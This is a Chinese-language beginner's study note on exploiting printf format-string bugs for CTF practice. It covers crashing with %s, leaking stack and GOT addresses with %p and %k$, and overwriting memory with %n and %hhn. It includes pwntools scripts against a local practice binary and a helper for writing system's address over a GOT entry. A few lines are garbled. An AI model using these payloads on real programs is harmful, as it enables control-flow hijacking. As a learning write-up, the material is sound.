初学pwn,学到了格式化字符串漏洞,总结一下。
格式化字符串函数:格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。
漏洞printf(s)
用 printf() 为例,它的第一个参数就是格式化字符串 :“Color %s,Number %d,Float %4.2f”
然后 printf 函数会根据这个格式化字符串来解析对应的其他参数
漏洞利用原理 程序崩溃%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
这种攻击方法最简单,只需要输入一串 %s 就可以
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
对于每一个 %s,printf() 都会从栈上取一个数字,把该数字视为地址,然后打印出该地址指向的内存内容,由于不可能获取的每一个数字都是地址,所以数字对应的内容可能不存在,或者这个地址是被保护的,那么便会使程序崩溃
**在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV (**SIGSEGV分为SIG+SEGV。SIG是信号名的通用前缀;SEGV是segmentation violation(段违例)的缩写。)信号,从而使程序非正常终止并产生核心转储(产生错误报告)。
泄露内存通过%x将栈后面的参数给泄露出来。
%x会在栈上找临近的一个参数,根据 格式化字符串 给打印出来,这样就把他后面一个栈上的值给输出出来了。
但是上面的都是获取临近的内容进行输出,我们不可能只要这几个东西,可以通过 %n$x 来获取被视作第 n+1 个参数的值(格式化字符串是第一个参数).
另外也可以通过 %s 来获取栈变量对应的字符串。
小技巧:
泄露任意地址的内存利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别
利用 %s 来获取变量所对应地址的内容,只不过有零截断
利用 %n x 来 获 取 指 定 参 数 的 值 , 利 用 x 来获取指定参数的值,利用 %n x来获取指定参数的值,利用s 来获取指定参数对应地址的内容
之前的方法还只是泄露栈上变量值,没法泄露变量的地址,但是如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容 addr%k$x
下面就是确定格式化字符串是第几个参数了,一般可以通过 [tag]%p%p%p%p%p%p%p%p%p 来实现,如果输出的内容跟我们前面的 tag 重复了,那就说明我们找到了,但是不排除栈上有些其他变量也是这个值,所以可以用一些其他的字符进行再次尝试
当然这也可以用 AAAA%4$p 来达到同样的效果,通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址
使用 objdump -R fs1 查看一下 got 表
%s 是把地址指向的内存内容给打印出来,可以把 函数的地址给打印出来。
覆盖栈内存%n,不输出字符,但是把已经成功输入的字符个数写入对应的整型指针参数所指的变量,只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值。
一般来说,利用分为以下的步骤:
确定覆盖地址
确定相对偏移
进行覆盖
源文件
#include
关于覆盖偏移的话可以通过测试得出来:
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dGsOc4uv-1644728910491)(C:UsersLenovoAppDataRoamingTyporatypora-user-imagesimage-20220213113952399.png)]
可以看到格式化字符是第6个参数。
那接下来,通过 %n 来进行覆盖,c_addr+%012d+%6$n
c_addr 再加上 12 之后才能凑够 16,这样就可以把 c 改成 16。
%n可以将对应参数地址存储的值给改写。
覆盖任意地址内存 覆盖小数字如果想要将一个地方改为一个较小的数字,只需要 %n 是 数字 就可以了,如果想改成 2,可以用 aa%k$n,但是有个问题,之前我们是把地址放在前面,加上地址(4或8字节)之后就成了一个至少比 4 大的数
aa%k n x x , 如 果 用 这 样 的 方 式 , 前 面 a a nxx,如果用这样的方式,前面 aa%k 是第六个参数, nxx,如果用这样的方式,前面aanxx 是第七个参数,后面在跟一个 我们想要修改的地址,那么这个地址就是第八个参数,只需要把 k 改成 8 就可以把这第八个参数改成 2,aa%8$nxx。
from pwn import *sh = process('./overwrite')a_addr = 0x0804A024payload = 'aa%8$naa' + p32(a_addr)sh.sendline(payload)print sh.recv()sh.interactive()
这里掌握的小技巧:没有必要把地址放在最前面,只需要找到它对应的偏移就可以。
覆盖大数字 变量在内存中都是以字节的格式存储的,在 x86、x64 中是按照小端存储的,格式化字符串里面有两个标志用的上了:
h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数
意思是说:hhn 写入的就是单字节,hn 写入的就是双字节。
from pwn import *sh = process('./overwrite')b_addr=0x0804A028payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'sh.sendline(payload)#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))#pwntools带着一个函数,很方便print sh.recv()sh.interactive()
前面的那一串 p32(),每算是 4 字符,这样到 %6$hhn 前面就是:16+104=120,也就是 0x78
再加上 222 就是 342,也就是 0x156,然后依次是:0x234、0x312,又因为 hh 是写入单字节的,又是小端存储,也就是只能取后边两个,所以连起来就是 0x12345678
ps:
对于格式化字符串漏洞的题可以用pwntools的工具fatstr_payload()来简化构造payload。
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
但是我们一般用的格式是
fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})
这是专门为32位格式化漏洞的函数。
下面是函数的源代码:
def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = "%" + str(result) + "c" elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn" return fmtstrdef fmt_str(offset, size, addr, target): payload = "" for i in range(4): if size == 4: payload += p32(addr + i) else: payload += p64(addr + i) prev = len(payload) for i in range(4): payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) prev = (target >> i * 8) & 0xff return payload